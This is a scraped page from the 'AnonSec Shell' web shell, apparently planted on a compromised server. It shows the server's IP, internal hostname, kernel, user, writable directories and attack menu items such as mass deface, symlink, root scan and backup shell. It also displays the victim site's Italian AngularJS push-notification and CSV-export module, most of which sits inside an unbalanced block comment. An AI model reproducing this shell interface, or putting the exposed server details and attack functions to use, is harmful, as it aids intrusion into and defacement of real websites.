. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 52.223.31.75  /  Your IP : 172.31.32.98   [ Reverse IP ]
Web Server : Apache/2.4.66 () OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux ip-172-31-14-81.eu-central-1.compute.internal 4.14.281-212.502.amzn2.x86_64 #1 SMP Thu May 26 09:52:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
Domains : 4 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/ripara.co/admin/js/modules/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/ripara.co/admin/js/modules/push.js
materialAdmin
.factory('PUSHService', ['$q', '$rootScope', 'growlService', function($q, $rootScope, growlService) {
    /* Create our websocket object with the address to the websocket

    var ws = new WebSocket("ws://10.88.93.34:8080");
  
    ws.$scope = "";

    ws.growlService = growlService;
   
    ws.$rootScope = $rootScope;
    
    ws.onopen = function(){  
        console.log("Socket has been opened!");  
    };

    ws.onerror = function(){
        this.growlService.growl("Servizio di Push Notification Non Attivo!", 'danger');
    };

    ws.onmessage = function(message) {
        var data = JSON.parse(message.data);
        if(data && data.tipo){
            switch(data.tipo){
              case "allarme":
                data.data['user'] = data.data['data'];
                data.data['text'] = data.data['message'];
                data.data['textSL'] = data.data['messageSL'];
                angular.element("#aggiungiAllarmeOkInput")[0].value = JSON.stringify(data.data);
                angular.element("#aggiungiAllarmeOk")[0].click();
            
                 this.controller.notificaAllarmi();

              break;

              case "graficohome":

              if(this.$scope && this.$scope.homeCtrl){


                  this.$scope.aggiornaGrafici(data.data,true);
                  this.$scope.aggiornaGrafico(data.data);  
                  this.$scope.aggiornaContatore(0);

             }

              break;
            }
        }
    };
    return ws;
}])





materialAdmin
.factory('DatiToCsv', ['$q', '$rootScope', 'growlService', function($q, $rootScope, growlService) {
    

    this.growlService = growlService;

    this.data = "";

    this.nomeFile = "my_data.csv";

    this.convertiData = function(dateRicevuta){
        if(dateRicevuta){
            var tmp = new Date((dateRicevuta.sec*1000)+(3600*2000) );
            return (tmp.getHours()<10?'0':'') + tmp.getHours() + ":" + (tmp.getMinutes()<10?'0':'') + tmp.getMinutes() + ":" + (tmp.getSeconds()<10?'0':'') + tmp.getSeconds() + " " + (tmp.getDate()<10?'0':'') + tmp.getDate() + "/" + (tmp.getMonth()<9?'0':'') + (tmp.getMonth()+1) + "/" + tmp.getFullYear();
        }
        return "";
    }

    this.getData = function(){
        var csvContent = "data:text/csv;charset=utf-8,";
        
        var numeroOggetti = this.data.length;

        var soloIntestazione = [];           
        //aggiugno intestazione
        for (chiave in this.data[0]) {
            if(chiave != '$$hashKey'){
                soloIntestazione.push(chiave);
            } 
        }
        csvContent+= soloIntestazione.join(";")+ "\n";


        this.data.forEach(function(infoArray, index){
            var soloDati = [];           

            //aggiugno dati
           for(chiave in infoArray){
                if(chiave != '$$hashKey'){

                    if(chiave =="StartTime" || chiave =="EndTime" || chiave =="AnswerTime"  || chiave == "AlertingTime" || chiave == "CALLEND" || chiave == "CALLBEGIN" || chiave == "ACKEND" || chiave == "ACKBEGIN" || chiave == "WAITEND" || chiave == "WAITBEGIN"){
                        if(infoArray[chiave]){
                            var dateRicevuta = infoArray[chiave];
                            if(dateRicevuta){
                                var tmp = new Date((dateRicevuta.sec*1000)+(3600*2000) );
                                var atmp = (tmp.getHours()<10?'0':'') + tmp.getHours() + ":" + (tmp.getMinutes()<10?'0':'') + tmp.getMinutes() + ":" + (tmp.getSeconds()<10?'0':'') + tmp.getSeconds() + " " + (tmp.getDate()<10?'0':'') + tmp.getDate() + "/" + (tmp.getMonth()<9?'0':'') + (tmp.getMonth()+1) + "/" + tmp.getFullYear();
                                soloDati.push(atmp);
                            }else{
                                soloDati.push(" ");
                            }
                            
                        }else{
                            soloDati.push(" ");

                        }
                    }else{
                        soloDati.push(infoArray[chiave]);
                    }
                    
                }

           };
           

           dataString = soloDati.join(";");
           csvContent+= index < numeroOggetti ? dataString+ "\n" : dataString;

        }); 

        this.growlService.growl("Esportazione dei dati in corso...", 'info');

        var encodedUri = encodeURI(csvContent);
        //var link = document.createElement("a");
        //link.setAttribute("href", encodedUri);
        //link.setAttribute("download", this.nomeFile);
        window.location.href = encodedUri;
        //document.body.appendChild(link); // Required for FF
        //link.click();
        //return this.csvContent;
    }

    return this;*/
}])

Anon7 - 2022
AnonSec Team